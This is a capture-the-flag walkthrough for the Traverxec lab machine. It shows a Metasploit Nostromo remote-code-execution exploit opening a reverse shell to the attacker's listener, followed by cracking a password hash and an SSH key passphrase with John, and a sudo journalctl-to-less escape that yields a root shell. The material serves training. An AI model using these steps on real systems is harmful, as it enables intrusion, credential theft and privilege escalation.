Walkthru for Traverxec
This is a detailed walk-thru for Traverxec, written by dR1PPy.
The challenge provided by Traverxec covers a good range exploits chained with bad system administration.
In other words it provides a pretty good real world experience. Much thanks to jkr for the challenge.
Enumeration
We start with our standard NMAP scan and find the usual suspects when it comes to network services.
Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 10.10.10.165 22 tcp ssh open OpenSSH 7.9p1 Debian 10+deb10u1 protocol 2.0 10.10.10.165 80 tcp http open nostromo 1.9.6
Gaining Access
From our scan we note the HTTP server is Nostromo
A quick search shows us a Metasploit module that may be able to gives us a quick shell
search nostromo Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/nostromo_code_exec 2019-10-20 good Yes Nostromo Directory Traversal Remote Command Execution msf5 exploit(linux/http/webmin_packageup_rce) > use exploit/multi/http/nostromo_code_exec msf5 exploit(multi/http/nostromo_code_exec) > show options Module options (exploit/multi/http/nostromo_code_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 80 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 7007 yes The listen port Exploit target: Id Name -- ---- 0 Automatic (Unix In-Memory) msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 10.10.10.165 RHOSTS => 10.10.10.165 msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 10.10.14.11 LHOST => 10.10.14.11 msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 7007 LPORT => 7007 msf5 exploit(multi/http/nostromo_code_exec) > run [*] Started reverse TCP handler on 10.10.14.11:7007 [*] Configuring Automatic (Unix In-Memory) target [*] Sending cmd/unix/reverse_perl command payload [*] Command shell session 2 opened (10.10.14.11:7007 -> 10.10.10.165:45046) at 2019-11-20 13:53:06 -0700 whoami www-data python -c 'import pty; pty.spawn("/bin/bash")' www-data@traverxec:/usr/bin$
From here we start our enumeration.
And in the web server config we make note of a password file.
www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf cat nhttpd.conf # MAIN [MANDATORY] servername traverxec.htb serverlisten * serveradmin david@traverxec.htb serverroot /var/nostromo servermimes conf/mimes docroot /var/nostromo/htdocs docindex index.html # LOGS [OPTIONAL] logpid logs/nhttpd.pid # SETUID [RECOMMENDED] user www-data # BASIC AUTHENTICATION [OPTIONAL] htaccess .htaccess htpasswd /var/nostromo/conf/.htpasswd # ALIASES [OPTIONAL] /icons /var/nostromo/icons # HOMEDIRS [OPTIONAL] homedirs /home homedirs_public public_www
We confirm the file exists and contains a password hash.
cat /var/nostromo/conf/.htpasswd david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
We paste our hash into a text file and ask John to crack it.
john --wordlist=rockyou.txt htpasswd Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Nowonly4me (david) 1g 0:00:01:58 DONE (2019-11-20 14:13) 0.008433g/s 89209p/s 89209c/s 89209C/s Noyoudo..Nous4=5 Use the "--show" option to display all of the cracked passwords reliably Session completed
After a few minutes we get our cracked password and our user token.
Now again from the configuration of the nhttpd.conf file we see that users /home directories are being served by the web server.
Seems we cant access the folder thru the WWW frontend directly.
We also have no luck listing items in the home folder.
www-data@traverxec:/usr/bin$ cd /home cd /home www-data@traverxec:/home$ ls ls david www-data@traverxec:/home$ ls david/ ls david/ ls: cannot open directory 'david/': Permission denied www-data@traverxec:/home$ ls -lha david/user.txt ls -lha david/user.txt -r--r----- 1 root david 33 Oct 25 16:14 david/user.txt
So it seems we can list files if we know the path & name but we can’t list all files.
Again referencing the nhttpd.conf file we see the /home is mapped to a public_www folder.
Let’s see if we can access that directly.
www-data@traverxec:/home$ ls david/public_www/ ls david/public_www/ index.html protected-file-area www-data@traverxec:/home$ ls -lha david/public_www/protected-file-area ls -lha david/public_www/protected-file-area total 16K drwxr-xr-x 2 david david 4.0K Oct 25 17:02 . drwxr-xr-x 3 david david 4.0K Oct 25 15:45 .. -rw-r--r-- 1 david david 45 Oct 25 15:46 .htaccess -rw-r--r-- 1 david david 1.9K Oct 25 17:02 backup-ssh-identity-files.tgz
We now know the proper file name to request.
Back to the web service we do some tweaking and are able to find the proper URL to the corresponding backup file.
http://traverxec.htb/~david/public_www/protected-file-area/backup-ssh-identity-files.tgz
Now we use the downloaded keys to SSH into the host and quickly get the User flag.
/usr/share/john/ssh2john.py /TARGET/david_id_rsa > /TARGET/david_id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt /TARGET/david_id_rsa.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 8 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status hunter (/TARGET/david_id_rsa) Warning: Only 2 candidates left, minimum 8 needed for performance. 1g 0:00:00:08 DONE (2019-11-21 18:49) 0.1207g/s 1732Kp/s 1732Kc/s 1732KC/sa6_123..*7¡Vamos! Session completed ssh -i david_id_rsa david@10.10.10.165 Enter passphrase for key 'david_id_rsa': Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 david@traverxec:~$ pwd /home/david david@traverxec:~$ ls -lha user.txt -r--r----- 1 root david 33 Oct 25 16:14 user.txt
Privilege Escalation
A quick enumeration of the users home directory shows us a possible path to escalation.
david@traverxec:~/bin$ pwd /home/david/bin david@traverxec:~/bin$ ls -lha total 16K drwx------ 2 david david 4.0K Oct 25 16:26 . drwx--x--x 5 david david 4.0K Oct 25 17:02 .. -r-------- 1 david david 802 Oct 25 16:26 server-stats.head -rwx------ 1 david david 363 Oct 25 16:26 server-stats.sh david@traverxec:~/bin$ cat server-stats.* .----. .---------. | == | Webserver Statistics and Data |.-"""""-.| |----| Collection Script || || | == | (c) David, 2019 || || |----| |'-.....-'| |::::| '"")---(""' |___.| /:::::::::::\" " /:::=======:::\ jgs '"""""""""""""' #!/bin/bash cat /home/david/bin/server-stats.head echo "Load: `/usr/bin/uptime`" echo " " echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`" echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`" echo " " echo "Last 5 journal log lines:" /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
Hello SUDO, it's nice to see you again!
A quick search of GTFOBins reveals we can use this to get shell
https://gtfobins.github.io/#journalctl
https://gtfobins.github.io/gtfobins/cat/
After trying variations of the items on those pages we are unable to get a shell
But we do find that we are able to use other pager type programs to chain into which gives us more options
https://gtfobins.github.io/gtfobins/more/
https://gtfobins.github.io/gtfobins/less/
We see we are able to stop the script by chaining into less
So we try the following combination, which finally gives us our root shell access
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service && VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile !/bin/sh
We grab our flag and enjoy a cold drink to celebrate.
Resources
Nostromo Dir Traversal RCE
https://www.rapid7.com/db/modules/exploit/multi/http/nostromo_code_exec
GTFOBins
https://gtfobins.github.io